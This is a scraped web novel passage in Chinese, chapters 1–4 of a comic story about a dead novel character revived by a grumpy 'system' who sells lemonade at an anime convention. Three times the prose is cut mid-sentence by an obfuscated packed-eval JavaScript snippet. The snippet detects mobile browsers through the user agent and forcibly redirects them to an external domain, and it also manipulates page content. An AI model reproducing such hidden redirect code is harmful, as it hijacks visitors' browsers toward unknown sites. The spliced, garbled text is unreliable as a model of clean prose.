《我就说迟早会混进来个真的》 1. 重生 “老师，请问你出的是祁帘栅吗？” 祁帘栅隐约听到有人在他耳边说话，费力地睁了睁眼睛，有些茫然地看向声音传来的地方。 一束强光直射，祁帘栅眼前刺白一片，大脑发晕，看不清周围的景象。 眩晕过去之后，祁帘栅试探性地睁眼，眼前却没有一个人。 他最后的记忆就停留在自己今天早上多吃了几颗大豆，一出门肚子就开始阵痛。他忍了一路，最后还是没忍住，大庭广众之下放了个巨响无比的屁。 估计是用力过猛，祁帘栅感觉头格外昏沉，一下就失去了意识。 等他再次恢复意识时，自己就站在这个纯白的空间中，周围没有一个人。 祁帘栅试探性地喊了一句：“有人吗？” 一阵刺耳的电流声响起，祁帘栅忙向周围看去，却没找到声音传来的地方。 “显而易见，没人。”突如其来的声音在祁帘栅脑海中响起来，祁帘栅吓了一跳。 “谁？”祁帘栅的声音顿时沉下来，有些警惕地问道。 “呵，蠢货。”少年嘲讽的声音在祁帘栅脑海中响起，不知为何，祁帘栅总感觉这声音有些熟悉，明明是损人的话，却让人很难生出厌烦的感觉。 祁帘栅渐渐冷静下来，他尽量让自己的声音变得平静，再次问道：“你是什么人？你在哪？” “都说没人了。”那声音听起来不太高兴，似乎是觉得眼前这个人类有些愚蠢，“我是人生圆满系统。” 系统说完这句话，有些嫌弃地啧了啧嘴，“什么蠢名字。” 祁帘栅有些无语，他沉默一阵，还是犹豫道：“系统是什么？” 他似乎听见那个叫系统的家伙深吸了几口气，嫌弃至极地问他：“你怎么连系统都不知道，小说没看过？” “小说……又是什么？”祁帘栅满脸疑惑。 系统沉默下来，祁帘栅心想这是什么高深的东西，连系统都解释不清。 几秒过后，系统终于再次开口，他这回的声音平静下来，一副公事公办的态度，“我忘了你是小说中的人物了，很多东西都没听说过。” “你可以简单地理解为，小说就是人写的故事书，你是这本故事书里的主角，但是因为某些不负责的脑残作者，把你中途写死了。”系统少见沉默了一阵。 祁帘栅听明白了他的话，有些难以接受自己的身份，“说白了，我就不是活人呗。” “没错，那个黑心作者，净给我找事，一天到晚让我带新人，简直有病，自己的小说不好好写，净给我们这些牛马找事。”系统的声音中带着很强的怒气，他气急败坏地骂道，“谁不知道你们这些小说里出来的人脑子都有问题，什么都不懂，还总是被作者写成傻子。” “就像你这样的，连基础常识都不知道，看起来跟个二傻子一样，作者肯定是个小学生。”系统说到这，终于顺过气来。 祁帘栅这才找到机会插嘴，赶紧问道：“我不记得我今天出门是要干什么了，也忘记了自己为什么会死，这是不是死亡的后遗症？” 系统沉默几秒，突然骂道：“你是不是蠢？这单纯是因为作者也没想好你今天出门是干什么，只是他不想写了，得想个办法结尾，所以突然想到你还可以被屁崩死，然后你就死了。” 祁帘栅得到这个答案，一时有些无语，他好不容易消化完自己是小说里的人物后，又听到这个离谱的消息，整个人的意识都有些混乱。 似乎是为了印证这个说法，系统又问他：“你还记得自己原本的世界是什么样的吗？” 祁帘栅脱口而出：“很好。”想了想，他又补充道，“在三年之前很好。” “那是沙币作者还没突发恶疾的时候。”系统很残忍地打破祁帘栅的幻想。 祁帘栅叹了口气，他转移话题道：“那你现在来找我是干什么？” “找你？”系统似乎冷哼了一声，“我怎么可能纡尊降贵地来找你，是你自己心有不平，潜意识呼唤了我的名字，我才不得不来管你这个二傻子。” 祁帘栅听着系统的话，脸色不太好看，但为了弄清事情的原委，祁帘栅还是不得不开口问道：“那你们系统是干什么的？” 涉及到任务，系统这回没有再明里暗里嘲讽祁帘栅，少年一本正经地在祁帘栅脑海中解释道：“人生圆满系统就是帮助你实现圆满人生的系统，因为你的人生在最精彩的时候结束了，所以并不算圆满人生，因此呼唤了我。” “你要做的，就是在我的帮助下，过完你本该圆满的一生，名利双收，走上人生巅峰。”系统说完这话，就等待着祁帘栅满怀感激与激情地回应他，发誓一定要走上人生巅峰，成为成功人士。 但祁帘栅只是点了点头，并没有系统想象中的激动，“你能怎么帮助我？” “你这是在质疑我？”系统的声音明显不高兴起来，但看祁帘栅那样子，真的不知道系统能做什么，他只好解释道，“只要你按要求赚积分，就能在我这里兑换你想要的任何东西。” “任何东西？”祁帘栅有些感兴趣起来，“比如什么？” “钱，权，名，”系统停了一下，“甚至感情。” “感情？”祁帘栅有些疑惑。 系统很好心地给他举了个例子，“就比如你在得知因为某个沙币作者烂尾，让当年喜欢你的人全部粉转黑，甚至看见你就恶心时。” “可怜的你承受不住全天下人都讨厌你的恶意，只能自愿成为牛马，为我奋斗努力，得到积分，换醒大家对你的美好回忆。”系统说着，没忍住笑了一声。 祁帘栅听着系统这番话，有些无语，他算是明白这个叫系统的家伙本质上就是个傲娇小孩。 至于他为什么知道这个词，祁帘栅依稀记得好像很久之前，作者经常用这个词来形容他，但是记忆太过久远，让他有些不敢确定。 系统见他说了半天祁帘栅也没反应，没忍住在他脑海中踹了一脚。 祁帘栅顿时感觉大脑抽搐了一下，不是很疼，但是让他有种恶心想吐的感觉。 系统再次开口：“所以你最好乖乖听话，不然我也是能惩罚你的。” 祁帘栅对系统说的光明前景没什么兴趣，他随口问道：“怎么惩罚？” 系统不说话了，祁帘栅奇怪地等了一阵，也没见有什么变化，他又试探性地在脑海中喊了系统几声，依旧没有反应。 祁帘栅见状，开始自己寻找出去的办法，他刚走一步，系统暴怒的声音就在他的耳中响起：“卧槽，什么鬼玩意，正准备给这小子一个下马威，你就给我断联，什么破系统。” 祁帘栅被他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16251673|181991||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这突如其来的声音吓了一跳，只觉得耳膜震得生疼，他死死捂住耳朵，系统的声音却无孔不入。 祁帘栅终于忍不住喊出声：“你小声点！” 系统还要哔哔，听见祁帘栅的话，他突然愣了一下，有些奇怪地出声问道：“刚才是你在说话？” 祁帘栅揉了揉发胀的头，没好气道：“废话。” 系统奇怪地将祁帘栅从头到尾扫视了一遍，就听祁帘栅说道：“系统，我们别在这浪费时间了，我现在就想看看外面的世界。” “你能不能别这么一本正经的叫我？”系统听见他的话，反而有些不习惯。 祁帘栅奇道：“那应该叫你什么？” 系统半天没说话，就在祁帘栅以为他不会回话时，系统超级小声地嘟囔了一句：“别人都叫我最最可爱迷人的统子的。” “什么？”祁帘栅以为自己听错了，掏了掏耳朵。 系统大声吼道：“没什么！” “哦，统子，”祁帘栅平静道。 系统嗫嚅了几下，还是没反驳他。 祁帘栅继续道：“我们现在算是同志了，接下来还得一起共事很久……” “不是，等等，什什么鬼同志？”系统的声音有些惊恐，“你不要污蔑我啊啊啊！” “啊？”祁帘栅满脸疑问，“我们现在有共同目标，不是同志是什么？” 系统喘了几口粗气，声音闷闷：“差点忘了你是个老古董，以后不准再说‘同志’这个词，听到没有？” 祁帘栅不明白系统怎么突然这么大反应，但还是决定接受系统的意见，不然他的耳膜估计撑不了多久。 祁帘栅赶忙应道：“好，我不说了。我们现在能不能说点正事？” 系统平静了一阵，换上一副公事公办的语气：“你现在的第一个任务是适应这个世界的生活，找到自力更生的方法，我们才能进行下一步。” “这么简单？”祁帘栅问道。 系统没搭理他，只道：“现在你快被当成傻子了，你先给我出去应付一下。” “应付什么？”祁帘栅疑惑道。 还没等他反应过来，系统的声音就如同潮水般退去，祁帘栅最后只听见系统隐约说道：“快点。” 祁帘栅眼前一黑，彻底听不见系统的声音了。 等他的意识再次清晰时，就听见周围嘈杂一片，似乎有很多人在他周围。 祁帘栅猛地睁开眼，周围果然全是人。他放眼望去，一多半的人都穿着奇形怪状的夸张衣服，顶着夸张的造型，全场就没几个黑色头发的人。 祁帘栅哪见过这场景，他下意识往后退了一步，想和这群“不良少年”拉开距离。 突然祁帘栅发现身边有个人正举着相机对着他，祁帘栅一愣。 就见那少年一下子变得很生气，看着祁帘栅的表情一下子冷了下来。 “老师，祁帘栅根本不会半分钟眨十次眼，你根本不了解角色。”少年生气地将相机收回去，直接瞪了祁帘栅一眼，“你ooc了，等着被投厕吧。” 祁帘栅满脸疑惑，就见那少年走了两步，又怒气冲冲地转过身，差点把相机杵到祁帘栅鼻孔里，随便拍了张照，又怒气冲冲地走了。 祁帘栅全程一动不敢动，在脑海中疯狂问系统：这是什么情况？ 2. 找工作 系统沉默下来，祁帘栅见系统半天没反应，自己又没有弄清楚情况，只能愣愣站在原地。 祁帘栅感觉自己被周围人注视了好几眼，好多人看他的目光中带着他不能理解的情绪，他觉得不能放任自己继续这样下去。 于是，社恐的祁帘栅决定随机揪一个路人问问情况。 他叫住身边路过的女生，女人似乎刚才没注意到他，这回看清了祁帘栅的样子，女生满脸惊奇。 祁帘栅自觉忽视她的表情，开口问道：“请问这是什么地方？” 女生疑惑地看着他，刚想回答，突然意识到什么。她赶紧往周围看了两眼，一下将祁帘栅拉到一边，对他做了一个“嘘”的手势。 女生小声问道：“老师，你没看最新章节吗？祁帘栅被屁崩死了，现在整个圈子的人都在骂作者还有这本书，你怎么还敢cos这个角色啊？” 祁帘栅只能理解女生说的前半句话，后半句连蒙带猜，大概明白女生的意思。 女生看着祁帘栅，突然就犹豫起来，祁帘栅对她道了声谢，就准备寻找出口离开这。 他刚走两步，又被女生叫住。 女生犹豫着，还是小声说了一句：“但我还是挺喜欢这个角色的，老师，我能跟你集个邮吗？” 祁帘栅没听懂女生的话，只能站在原地，就见女生举着手机走过来，因为身高的差距，拍不到祁帘栅的脸，只能斜着手机，以一种奇怪的角度和祁帘栅拍了张合照。 祁帘栅看着女生的表情突然变得难以言喻，但又不好意思再开口叫住他，纠结地站在原地。 凭借身高优势，祁帘栅瞥见她的手机里，自己的脸看起来还挺正常，和平时照镜子没什么两样。但是同样的角度，女生的脸整整大了一圈，比现实中丑了不止一个度。 祁帘栅没忍住说道：“要不我们重拍一张吧？” 女生听到这话，明显高兴了不少，她重新站到祁帘栅身边，祁帘栅蹲下身，将脸和女生平齐，两人又拍了一张照。 女生这回明显高兴起来，跟祁帘栅打了个招呼，就又高高兴兴逛展了。 等女生走后，祁帘栅绕了半天，找到一个没人的角落，他刚松了口气，系统突然出声：“你在干嘛？” 祁帘栅吓了一跳，反应过来后，他没好气地出口：“你刚才去哪了？我叫了你这么久。” 系统“哼”了一声，不太高兴道：“下次想见我的时候记得找没人的地方，我不能在有人的时候出现，除非你用积分兑换。” 祁帘栅若有所思，“那你能看见我这边发生的事吗？” “可以。”系统这回倒是回答得干脆。 祁帘栅受不了周围似有若无的视线，赶紧趁人靠近这边前，在心里问系统：“我现在怎么出去，等会儿找到没人的地方再盘问你。” 系统感觉到祁帘栅心中的焦急，也没再废话，给他指了一条离开这的路。 祁帘栅抬手挡在脸上，逃命般跑出人群，终于找到一片没人的地方。 他喘了几口粗气，问系统道：“漫展是什么东西？” “你也看见了，你被当成你了，”系统嫌弃地解释道，“漫展就是一群作品爱好者，聚在一起，可以选择扮演着自己喜欢的角色，一起友好交流的地方。” “哦。”祁帘栅若有所思点了点头，“那ooc和投厕是什么？是在夸奖我吗？” “……”系统无语一阵，开口骂道，“什么作者把你写这么蠢？ooc是说你作出了不符合人物的言行，投厕就是觉得你cos的很垃圾，你听他口气也不像是在夸你……” “那cos是啥？”祁帘栅在一旁弱弱问道。 系统没什么耐心道：“就是扮演。” 祁帘栅点点头，反过来安慰系统：“没事，我慢慢学不就懂了。” 系统不知道在干什么，没有接话。 祁帘栅思考了一阵，还是问道：“你说我现在的任务是自力更生，你觉得我现在做什么赚钱合适？” 系统这回倒是说话了，“你的话，没有学历，也没有工作经验，甚至连身份证都没有，找工作就别想了。” 祁帘栅听到这，忍不住反驳道：“我有学历和身份证。” 系统问道：“啥玩意？” “神技大学毕业，熊猫市出生。”祁帘栅回答得理所应当。 系统沉默几秒，骂道：“你要不要听听自己在说什么，那是小说里不能出现真实地名，所以是沙币作者随便取的。” “哦。”祁帘栅这回没法了，自暴自弃道，“那我能干什么？” “你现在就相当于黑户。”系统想了想，突然眼前一亮，“你可以干些不要身份证的工作。” “什么工作？”祁帘栅好奇道，在他的印象中，还没有什么工作可以不查身份证。 “当妆……郎。”系统的声音有些诡异。 祁帘栅听后奇道：“妆郎是什么？” “我还没见过。”系统如实道，“不过你倒可以成为第一个。” 等祁帘栅明白妆郎是干什么的后，有些犹豫，“但是我不会化妆，也没有化妆品。” “没事。”系统倒是很相信祁帘栅，“你练练就成，按照以往的记录，你很有龙傲天体质，应该干什么都行。” 祁帘栅半信半疑，但还是没有反驳系统的话。 “当妆郎，首先要买一些化妆品。”系统开始在系统里寻找资料，念给祁帘栅听，“我看看网上妆娘推荐，这个牌子的粉底液……” “可是，买化妆品要钱，”祁帘栅打断系统的话，“我现在一分钱都没有。” “我有钱，你可以赊账。”系统这下有些得意起来，“我说过积分可以兑换任何东西。” “所以我现在有积分？”祁帘栅敏锐捕捉到系统话语中的意思。 系统卡了个壳，还是不情不愿道：“你确实有，新客礼包，一共三十积分。” 祁帘栅对积分没什么概念，问道：“三十积分能兑换什么？” “三百块钱，或者一张满意度调查表，一个好评……哦，还有一把梳子。”系统一边翻着积分商城，一边念叨。 祁帘栅虽然是个老古董，但对这些东西的价值还是清楚的，他没忍住道：“就这些？” 系统回道：“当然不是，还可以兑换系统商城。” “系统商城？”祁帘栅有些奇怪，“这不是你自带的吗？” “确实。”系统嘀咕道，“所以兑换后你可以看见商城，不用再通过我兑换积分了。” “感觉挺鸡肋。”祁帘栅排除几个没用的东西，还是说道，“那就兑换三百块钱吧。” 祁帘栅话刚说完，就有三百块钱出现在他手里。祁帘栅感叹了一下系统办事的效率，将钱折起来，装进兜里。 系统生怕他后悔一般，飞快给他兑完钱，有些好奇问：“你准备用这些钱买什么？” 祁帘栅思索一阵，“你觉得用这些钱买化妆品够吗？” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16251674|181991||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 系统在网上搜索了一遍，有些迟疑：“也许。” 祁帘栅听出了系统比较勉强的声音，叹道：“我也觉得不够，更何况我什么都没学会，也不好去坑别人的钱。” “你道德感还怪强的嘞。”系统阴阳了一句，“你不干这个，还能干什么？” 祁帘栅也没着急，他穿着自己最常穿的黑色冲锋衣，将头裹起来，遮住自己的面容。 然后系统就见祁帘栅再次偷偷摸摸地溜回漫展场地，走到一处买饮品的小摊。 摊主见祁帘栅一副偷偷摸摸的样子，也没表示出什么惊奇，只热情问他：“你想喝点什么？” 祁帘栅正想随便来杯饮料，好有机会开口套话，谁知一看价格，祁帘栅顿时倒吸一口凉气。 一瓶饮料十五元，加了满满一杯冰，饮料看起来只有几口。 祁帘栅有些尴尬地愣在原地，悄声问系统：“统子，这个世界的物价是不是有点高了？” 系统高深莫测地回答道：“二次元的世界是这样的。” 祁帘栅没有犹豫，立刻放弃了买饮料套近乎的想法。 他对着摊主友善地笑了笑，犹豫几秒，还是问道：“大哥，在这里摆摊挺挣钱的吧？” 摊主大哥看了他几眼，见这会儿没有客人，自己又实在无聊，索性跟祁帘栅聊了起来。 “还可以吧，”大哥说道，“也就是赚个买菜钱，一天几百块的样子。” 祁帘栅听后，还是挺满意地点了点头，毕竟他启动资金就三百，一天回本也挺不错的。 他还没来得及再问，摊主大哥就继续说道：“但这一年也就四次，其他地方就不太行咯。” 大哥压低声音，悄悄在祁帘栅耳边道：“就不能再卖这么贵了。” 祁帘栅点点头，刚想继续问他这摊要多少钱，就听大哥问道：“所以你喝点什么？” 祁帘栅不想说话，大哥以为他还在考虑，就一直在旁边盯着他。 祁帘栅不想买饮料，但看着大哥热切的表情，没好意思拒绝，只能忍着肉痛，花了百分之五的创业资金，买了一杯饮料。 大哥见他买完饮料，心情明显好了不少。祁帘栅见状，总觉得自己不能白白浪费这杯饮料钱，又向大哥询问了其他摆摊的事项。 大哥见祁帘栅这么热切，回答了一阵总算觉出不对来，“小兄弟，你该不会是想跟我抢生意吧？” 祁帘栅见自己的意图被揭穿，不好意思地转移话题，随便找了个借口就溜了。 系统有些迟疑道：“你真准备摆摊？” “没错。”祁帘栅丝毫不慌，“先试试看，不行再换别的。” “我得提醒你一句，”系统好心开口，“你这张脸辨识度太高，最好遮挡一下，但是这两天高温，平均气温在三十五摄氏度以上。” “哦。”祁帘栅丝毫不以为意。 系统见他一直端着这杯饮料，半天一口都没喝，奇怪道：“你为什么不喝饮料？难道准备孝敬系统大人我？” 祁帘栅端着饮料没动，就在系统以为他傻了的时候，祁帘栅才欲哭无泪道：“没，我就是从没喝过这么贵的东西，准备省着点，回去还能兑水喝。” 系统：“……。”他突然想起来，祁帘栅生活的时代物价好像不太一样，十五块钱应该能买一百斤大米了。 一时间，漫展路过的人都好奇地看着祁帘栅小心翼翼地捧着一杯十五块钱的柠檬水，珍重地像是捧着一块黄金。 3. 摆摊 祁帘栅昨天刚决定摆摊，今天就已经全副武装地站在漫展门口了。 在系统给他普及完这个世界的物价之后，祁帘栅毫无心理负担地卖起了十五块钱的冰饮料。 系统在看着祁帘栅大夏天带个黑不拉几的厚口罩，还没过几分钟，就出了一头大汗。 系统悠哉悠哉地开口：“二十积分可以兑换一个微型风扇，可以赊账。” 祁帘栅一听这价格，立刻就打消了这个想法，他没好气道：“你这风扇太贵了，我买的太亏。” 系统嫌弃祁帘栅没见识，“这风扇能和普通的风扇一样吗？这是直接贴着你的身体，将你的体表温度维持在二十五摄氏度，恒温懂不懂。” “恒温？”祁帘栅有些惊奇，但一想到二十几分换算过来就是二百块钱，立刻打消了这个想法。 祁帘栅偷偷扯着口罩，给自己漏出一个呼吸的缝隙。 “老板，来杯可乐。”一位衣着华丽的coser走过来，顶着一头巨大的反重力假发。 祁帘栅看着她，总觉得是自己的耳朵出了问题，他有些犹豫道：“一杯可乐是吧？” “对。”粗犷的男声从甜美的coser嘴里传出来，把祁帘栅吓了一跳。 他一边偷瞄着面前的人，一边将可乐递给他。 “谢了兄弟，钱给你付过去了。”那粗犷的声音再次传来，祁帘栅这回习惯了不少，他偷偷看了一眼男coser胸前的波涛汹涌，嘴里一边道：“没事没事。” 等那“甜妹”走后，祁帘栅才有些难以置信地问系统：“统子，这是怎么回事？” “老古董。”系统咂了咂嘴，一副嫌弃的嘴脸，“这都什么年代了，男扮女装很常见好吧。” 系统没给祁帘栅说话的机会，从上到下将祁帘栅打量了一遍，有些不怀好意道：“说实话，你也挺适合扮女角色的。让我想想啊，御姐风挺适合你，萝莉风也可勉强尝试。” 祁帘栅听了这话，有些惊恐地摆摆头，“不了不了，太吓人了。” 他正想着，一位高高瘦瘦的帅哥走了过来 ，盯着他的小摊看了一阵。 “来杯柠檬水，不要冰，最好是热的。”甜甜的声音响起，祁帘栅再次瞪大眼睛，看着面前这个至少有一米九的帅哥，半天没回过神。 帅哥再次用“他”那甜腻的声音说道：“可以吗？” “哦哦。”祁帘栅赶紧应道，给帅哥递了杯饮料，“慢用。” 帅哥再次甜甜地对他说了句：“谢谢。” 祁帘栅起了一身鸡皮疙瘩，笑得有些勉强。 系统慢悠悠地说道：“coser的性别你别猜，土狗习惯就好。” 土狗祁帘栅决定不能以貌取人，很快就良好地接受了漫展的氛围。 只是他一身黑在五颜六色的人群里总是有些显眼，在加上祁帘栅捂得严严实实，三四十度的高温下就露出来一双眼睛，更引人注目。 众人过来看他两眼，就顺便买几杯饮料。一天下来，祁帘栅的收入倒还不错，至少把系统送他的积分还了回来。 终于还是有人忍不住问他：“大叔，你不热吗？” “大叔？”系统在他脑海中笑出了声，祁帘栅没好气回道：“我见不得人。” “为什么？”周围人奇道。 “因为容易被投厕。”祁帘栅答道。 “巧了，”系统听起来心情不错，“我刚在网上刷到你，让我看看。” “大家快避雷这个老师，明明cos的是祁帘栅，却根本不理人，半分钟眨了十几次眼睛，脸上还有法令纹，黑眼圈，把祁帘栅cos得老了十岁。”系统读起来倒是津津有味。 祁帘栅听见这话，整张脸都拉了下来，他无语道：“法令纹和黑眼圈不是一个正常人都有的吗？” “你别急，我还没念完呢。”系统继续念起来，“他cos还不带假发，头发贴着头皮，恶心死了，连妆都没画，还没戴美瞳，简直太随意了，一点cos的自觉都没有，这怕不是黑子吧，避雷避雷避雷……” 系统一连念了几十个避雷，将祁帘栅念得大脑发胀，“停停停，这都是什么神人啊？” “没事，习惯就好。”系统看了一会儿，又乐出声了，“笑死我了，这下面有人喷你。” “喷我？”祁帘栅说，“上面还喷得不够多吗？” “不是，”系统继续笑道，“前面不是喷的cos老师吗？下面喷的是真的你，我再来给你念念。” “我可以不知道吗？”祁帘栅有些无语。 系统却压根没理他，继续念起来：“怎么现在还有人cos祁帘栅啊？这人都快把我恶心坏了，本来挺喜欢他的，人又励志坚强，性格也好玩，结果烂成这样。” “还有人叫他小天使，我现在看见这个就恶心，还天使，我看是小丑吧。” “简直了楼上，祁帘栅就是大小丑一个。” 祁帘栅听着这些恶评，太阳穴突突直跳，系统安慰道：“没事没事，大家骂作者更狠。” 说着系统继续念起来：“本来好好看个文，作者给我搞这出。” “就是，韭菜盒子去死，我本来就讨厌韭菜，现在更讨厌了。” “我宁愿他在写完上一个单元的时候就死，这样还能回顾一下之前的章节，现在这章给我恶心到前面也看不下去了，感觉之前的故事就是个笑话。” “不是，谁能把韭菜盒子扒出来，我真想当街揍他一顿。” “楼上别啊，当街揍人小心被拘留，我们加个联系方式，仔细谋划一下。” “哈哈哈哈！”系统笑得止不住，“沙币作者遭报应了吧？活该。” 祁帘栅被系统巨大的笑声震得头脑发晕，朦胧间觉得这笑声有些耳熟，却总也想不出再哪听过。 好在系统笑累了，终于停了下来，祁帘栅这才觉得自己清醒了不少，赶紧将饮料递给面前几个人。 几人付了款，就继续逛展去了。 祁帘栅见他们走后，才在脑海中无奈道：“所以我现在成过街老鼠了。” “不是啊，”系统回道，“你有没有在听我说话，你是大小丑啊。” “好了，你可以不用说了。”祁帘栅赶忙制止他。 系统依旧用他那少年音笑得起劲，如果不是他在嘲笑自己，祁帘栅估计会觉得系统笑得挺好听，有种少年人独特的清澈嗓音 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16251675|181991||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 祁帘栅赶紧摇了摇头，自己差点被系统洗脑。他见漫展的人已经走得差不多了，就开始收摊。 结果祁帘栅收摊收到一半，突然有人再次走到他身边，正好将最后一杯柠檬水买走了。 祁帘栅本来准备自己喝一口尝尝味，但仔细想了想，还是觉得十五块钱重要，忍痛将最后一杯柠檬水卖了。 买柠檬水的摄影小哥渴了一天，终于有时间喝水，还没离开祁帘栅的小摊，就往嘴里灌了一口饮料。 祁帘栅就看见摄影小哥面上的表情僵了一瞬，接着变得极为扭曲，直接一口水喷了出来：“我去，好酸。” 祁帘栅听见这话，不信邪地回道：“不会吧，好多人都买了，也没说酸啊？” 摄影小哥脸色扭曲，明显还没缓过来，他皱着一张脸，将柠檬水往他桌上一撂，直接就摆着手跑走了。 祁帘栅见他一副要吐了的表情，奇怪地打开杯子，尝了一口。 下一秒，祁帘栅面色扭曲，为了不浪费水，他苦着张脸咽下去，一张嘴，空气刮在牙上，只感觉牙都要酸掉了。 祁帘栅捂着嘴，“这是什么玩意，呕～” 系统在一旁得意道：“你没放蜂蜜，不酸就怪了。” “但是为什么其他人不觉得酸？”祁帘栅又呕了一口。 系统嫌弃道：“根本没人在你的摊前喝，现在人都社恐，就算喝得酸了，也不好意思再回来找你了。” “算了，我明天再改进一下吧。”祁帘栅将这杯柠檬水嫌弃地提着，喝也不是倒也不是。 系统见他这么为难，没好气道：“也不至于寒酸成这样吧？一杯水扔了就扔了。” “你不懂。”祁帘栅哭丧着脸，“这可是十五块钱巨款，不能浪费啊。” 祁帘栅一面愁眉苦脸，一面端起杯子使劲往嘴里灌，好不容易喝完柠檬水，他只觉得牙都松动了，似乎马上就会掉下来。 系统见他这副悲催的样子，不但没有怜悯祁帘栅，反而告诉了他一个好消息：“告诉你个好消息，你出名了。” “啊？”祁帘栅疑惑道，“什么好消息？我赚大钱了？” “那倒没有，你现在刚好把昨天的三百元赚回来，但是得提醒你一下，你今天晚上依旧住不起房子。”系统幸灾乐祸地笑笑。 “行吧，大不了再住一天地铁站。”祁帘栅倒是没什么担心的，“这样明天也不用早起，第一个就到了。” 系统咂了咂嘴，继续道：“好消息就是，你又被挂网上了。” “嗯？为什么？”祁帘栅仔细回想了一下，今天自己也没暴露长相，也没干什么出格的事。 “你被人偷拍了，理由是卖的柠檬水太难喝，狗都不喝。”系统回答道。 祁帘栅叹了口气，“我也不是故意的。” 系统似乎很喜欢念评论，他又开始念了起来：“避雷避雷，家人们，千万不要喝地球线漫展外场一个口罩小哥买的柠檬水，太难喝了。” “千万不要看他可能长得帅就去买他的柠檬水，今天喝吐了，现在牙还在疼。” 系统读了几条，对祁帘栅道：“完咯，你好像工作第一天就要失业了。” 4. 打底娘 祁帘栅见自己财路被断了，心情明显不太好。 系统这回反倒安慰起祁帘栅：“没事，你下次别装扮成这样不就行了。” 祁帘栅叹了口气，“不是我想装扮成这样，是我真的没钱装扮成别的样。” 系统想了想，竟有些不忍，他提议道：“要不这样，你先赊账，我给你划点钱，想点别的办法，总能赚到钱的。” 祁帘栅有些愁苦地站在空无一人的漫展外场，一边在脑海中问道：“统子，你带的其他人碰见过这种情况吗？” 系统突然半天没出声，祁帘栅向周围看了一圈，没有人靠近他这边。 祁帘栅奇怪道：“没人啊，怎么又断联了？” “我才没断联，只是不想理你！”系统听起来有些气急败坏的样子，“我还不是一个新统子，被那群老油条孤立霸凌，这才接了你这个棘手活。” “谁知道你要身份证没身份证，要生活常识没生活常识。”系统气得都破了音，“我有什么办法，我还想跑路呢……” “哦，那我们还挺配的，都没什么经验。”祁帘栅平静道，“统子，你有没有什么其他名字，总觉得这么称呼你会和其他系统混淆。” 系统听他这么一说，火气不知为何消了大半，他嘟嘟囔囔道：“我哪还有什么其他名字，系统都这样。” 祁帘栅想了想，“你有没有什么喜欢的东西，给自己取个好听的名字？” “没有。”系统的声音有些闷，“我没什么喜欢的东西。” “我看你挺喜欢发脾气的，不然就叫气气吧。”祁帘栅说道。 “什么！”系统声音大起来，听起来马上就要爆发了。 祁帘栅赶紧改口道：“逗你玩的，不叫气气，叫肉肉吧。” “肉……肉？”系统愣住。 “感觉你应该挺喜欢吃肉的。”祁帘栅笑起来，“我也不会取名，就叫这个吧？” “哼。”系统没再说话。 祁帘栅也不知道他到底同没同意，反正暂且就叫他这个名字了。 “肉肉，”祁帘栅收拾完摊子，把垫在桌布下的折叠椅夹在腋下，“走了。” 系统没应声，这么两天，祁帘栅也算是摸清楚他的性格了，傲娇地很，他不想理你，任凭你怎么叫也不会答应你，但他还是会偷偷听着你说话。 祁帘栅索性也不管系统应没应声，继续说道：“你在那个什么网上帮我看看吧，有没有什么临时工，我去干干，这样日常开销还是够的。” 系统还是没回话，祁帘栅就继续说道：“记得要靠谱一点的，我可不想被人卖了还帮着数钱，肉肉。” “找到了，”系统终于出声，“我看附近有妆娘在招打底娘，十五一个人，还包路费。” “打底娘……是什么？”祁帘栅有些犹豫道，“这个一听，好像不太符合我的性别？” “你就说你做不做吧？”系统也没解释，“我跟你说，你去当打底娘，还可以顺便学学化妆技巧，说不准还能出来单干。” “等你有水平了，漫展接接妆，至少吃穿不愁。”系统说着有些心虚，他正好刷到一条当妆娘一天下来一分不赚的帖子。 “咳，”系统清了清嗓子，“你干不干，小心等会儿这活被抢走了。” 祁帘栅被贫穷追赶着，实在没办法，有些不情不愿地应下来：“那我试试吧。” “好嘞，”系统没给祁帘栅反应的机会，直接帮他联系好了妆娘，“明天凌晨两点到漫展旁边的宾馆。” “哦，啥？”祁帘栅没忍住说出声，“你说几点？” “凌晨两点啊。”系统一副嫌弃祁帘栅没见过世面的口气，“妆娘都这样。” 祁帘栅犹豫几秒，说道：“妆娘是什么物种，已经进化掉睡眠了吗？” “你别管。”系统回道，“记得别迟到就行。” “我要不还是现在睡一觉吧。”祁帘栅说着，将桌布往地铁站一铺，倒头就睡。 系统欲言又止，看着祁帘栅睡得跟死猪一样，还是没出声，只不乐意地哼了一声。 凌晨两点，祁帘栅准时出现在酒店门口，他犹豫了好久，才鼓起勇气敲响了房门。 “来了。”房门内有女生应了一声，接着是拖鞋在地上走路发出的声音。 祁帘栅赶紧收拾了一下头发，让自己看起来不是那么凌乱。 